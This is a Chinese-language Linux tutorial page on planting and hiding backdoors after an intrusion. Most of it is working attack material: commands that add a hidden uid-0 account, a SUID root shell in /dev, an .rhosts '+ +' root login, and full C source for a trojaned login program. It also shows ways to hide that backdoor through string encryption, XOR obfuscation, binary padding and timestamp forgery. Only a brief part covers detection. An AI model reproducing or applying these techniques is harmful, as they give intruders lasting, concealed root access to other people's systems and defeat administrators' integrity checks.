歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
您现在的位置: Linux教程網 >> UnixLinux >  >> Linux綜合 >> Linux資訊 >> 更多Linux

黑客高級技巧 Linux後門技術及實踐

  後門簡介

  入侵者完全控制系統後,為方便下次進入而采用的一種技術。一般通過修改系統配置文件和安裝第三方後門工具來實現。具有隱蔽性,能繞開系統日志,不易被系統管理員發現等特點。

  常用後門技術

  增加超級用戶賬號

  破解/嗅探用戶密碼

  放置SUID Shell

  rhosts + +

  利用系統服務程序

  TCP/UDP/ICMP Shell

  Crontab定時任務

  共享庫文件

  工具包rootkit

  可裝載內核模塊(LKM)

  增加超級用戶


# echo "e4gle:x:0:0::/:/bin/sh" >> /etc/passwd 
# echo "e4gle::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow

  如果系統不允許uid=0的用戶遠程登錄,還需要增加一個普通用戶賬號。

  破解/嗅探用戶密碼

  獲得shadow文件後,用John the Ripper 工具破解薄弱的用戶密碼。安裝sniffit等嗅探工具,監聽telnet、FTP等端口,收集用戶密碼。

  放置SUID Shell


# cp /bin/bash /dev/.rootshell 
# chmod u+s /dev/.rootshell

  普通用戶在本機運行/dev/.rootshell,即可獲得一個root權限的shell。


rhosts + + 

# echo "+ +" > /.rhosts 
# rsh -l root victim.com csh -i

  遠程可以得到一個rootshell。

  利用系統服務程序。

  修改/etc/inetd.conf, daytime stream tcp nowait /bin/sh sh -I ;用trojan程序替換in.telnetd、in.rexecd等inted的服務程序,重定向login程序。

  TCP/UDP/ICMP Shell

  BindShell,大部分是基於TCP/UDP協議的網絡服務程序,在高端口監聽,很容易被發現。Ping Backdoor,通過ICMP包激活後門,形成一個Shell通道。TCP ACK數據包後門,能夠穿越防火牆。
  Crontab定時任務
  通過Crontab程序調度已安裝的後門程序定時運行,一般在深夜時段,是系統管理員不在線的時間。

  共享庫文件

  在共享庫中嵌入後門函數使用後門口令激活Shell,獲得權限能夠躲避系統管理員對二進制文件本身的校驗。

  工具包Rootkit

  包含一系列系統及後門工具:

  - 清除日志中的登錄記錄

  - 偽裝校驗和

  - 替換netstat、ps等網絡工具

  - 後門登錄程序易於安裝和使用

  可裝載內核模塊(LKM)

  LKM:Loadable Kernel Modules 動態的加載,不需要重新編譯內核。

  截獲系統調用,具有隱藏目錄、文件、進程、網絡連接等強大功能。

  自身隱蔽性好,發現難度較大。

  著名的LKM包有adore和knark。

  後門的檢測

  以自己的經驗,結合特定的工具,手工作一些檢測。使用Tripwire或md5校驗來檢查系統。借助IDS系統,監聽到目標機器的可疑網絡連接。

  實例:Login後門

  入侵者先把原始的/bin/login備份,再用一段程序替換/bin/login。入侵者telnet登錄進來的時候,通過環境變量或者終端類型,傳遞了正確的後門密碼,將直接獲得一個Shell;如果是普通用戶登錄,將會重定向到原始的login文件,來處理正常的登錄。

  最簡單的login後門ulogin.c源代碼如下:

  實例:login後門


#include <stdio.h> 
#define PASSWord "passWORD" 
#define _PATH_LOGIN "/sbin/logins" 

main (argc, argv, envp) 
int argc; 
char **argv, **envp; 

 char *display = getenv("DISPLAY"); 
 if ( display == NULL ) { 
  execve(_PATH_LOGIN, argv, envp); 
  perror(_PATH_LOGIN); 
  exit(1); 
 } 
 if (!strcmp(display,PASSWORD)) { 
  system("/bin/csh"); 
  exit(1); 
 } 
 execve(_PATH_LOGIN, argv, envp); 



 exit(1); 
}
  利用後門登錄
  首先Telnet服務是打開的,在自己機器上:


bash$ eXPort DISPLAY=passWORD 
bash$ telnet victim.com 
Trying xxx.xxx.xxx.xxx... 
Connected to victim.com (xxx.xxx.xxx.xxx). 
Escape character is '^]'. 
% _

  Strings命令

  strings命令能夠打印出二進制文件中的可顯示字符串,用於剛才的ulogin程序:


bash$ strings ulogin 
/lib/ld-Linux.so.2 
.............. 
DISPLAY 
/sbin/logins 
passWORD 
/bin/csh

  加密後門密碼

  1,采用DES算法,即crypt( )函數,編寫gen.c程序:


#include <unistd.h> 
main(int argc, char *argv[]) 

if (argc != 3) { 
printf("usage: %s <password> <salt>\n", argv[0]); 
exit(1); 

printf("%s\n", crypt(argv[1], argv[2])); 
}

  2、編譯為gen,執行./gen hack ui,得到的shadow結果為UiVqMWvDrIQjA。

  3、修改後門源程序ulogin.c:

  -- 以密文形式的密碼代替ulogin.c中define的宏PASSWORD值。

  -- 如果後門密碼正確,直接給出Shell:


if (!strcmp(PASSWORD, crypt(display,PASSWORD))) 

system(SHELL); 
exit(1); 
}

  用strings命令只能看到加密過的密碼。

  采用異或(XOR)算法,以十六進制方式表示字符串,以達到non- printable的效果。

  1、編碼程序encode.c如下:

char magic[]="\x71\x67\x6d\x7a\x65\x61\x7a"; 
char *de(char *str,char *key) 

int i=0,j=0,len; 
len=strlen(key); 
while(str[i] != '\0') { 
str[i]^=key[j]; 
j++; 
if(j==len) j=0; 
i++; 

return str; 

void display(char *str) 

int i; 
for(i=0;i<strlen(str);i++) printf("\\x%x",str[i]); 
printf("\n"); 

main() 

char gets[100], *ptr; 
ptr=gets; 
scanf ("%s",ptr); 
de(ptr,magic);display(ptr); 
}

  2、編譯程序encode,依次執行得到關鍵字符串與magic串異或後的結果,例如原始login的文件名/sbin/xlogin,經過異或後為:

  \x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb
  3、在後門源代碼中這樣定義:
  Char

  login[]="\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb";

  然後插入異或函數char *de()結合同一magic串,就能判斷出正確的後門密碼。

  用strings命令看不到密碼、路徑等字符串了。

  最後的修飾

  使後門程序ulogin的strings輸出類似於正常login的strings輸出,做法為:

  在ulogin.c代碼中增加一個字符串數組char strings[] ="";,在引號中填入正常login程序的strings輸出結果。以假亂真,增加迷惑性。

  調整後門程序的文件日期、大小等屬性:

  1、日期

  # ls -l /sbin/xlogin

  -r-sr-xr-x root root 19300 Feb 11 1998

  /sbin/xlogin

  # toUCh -t 199802110000 ulogin

  # _

  2、調整大小

  # ls -l ulogin /sbin/xlogin



  -r-sr-xr-x root root 7542 Feb 11 1998 ulogin

  -r-sr-xr-x root root 19300 Feb 11 1998 /sbin/xlogin

  # bc

  19300-7542

  11758

  # dd if=/sbin/xlogin of=/tmp/t bs=11758 count=1

  1+0 records in

  1+0 records out

  11758 bytes transferred in 0.000379 secs (31016746

  bytes/sec)

  # cat /tmp/t >> ulogin

  Login後門的檢測

  使用命令md5sum對現有/bin/login文件作校驗,與以前的值作比較。

  使用Red Hat Linux的RPM校驗:

  # rpm -V util-linux

  在入侵者已經利用後門登錄的情況下,who是看不到用戶的,查看系統進程,查找login -h xxx.xxx.xxx.xxx的字樣。



Copyright © Linux教程網 All Rights Reserved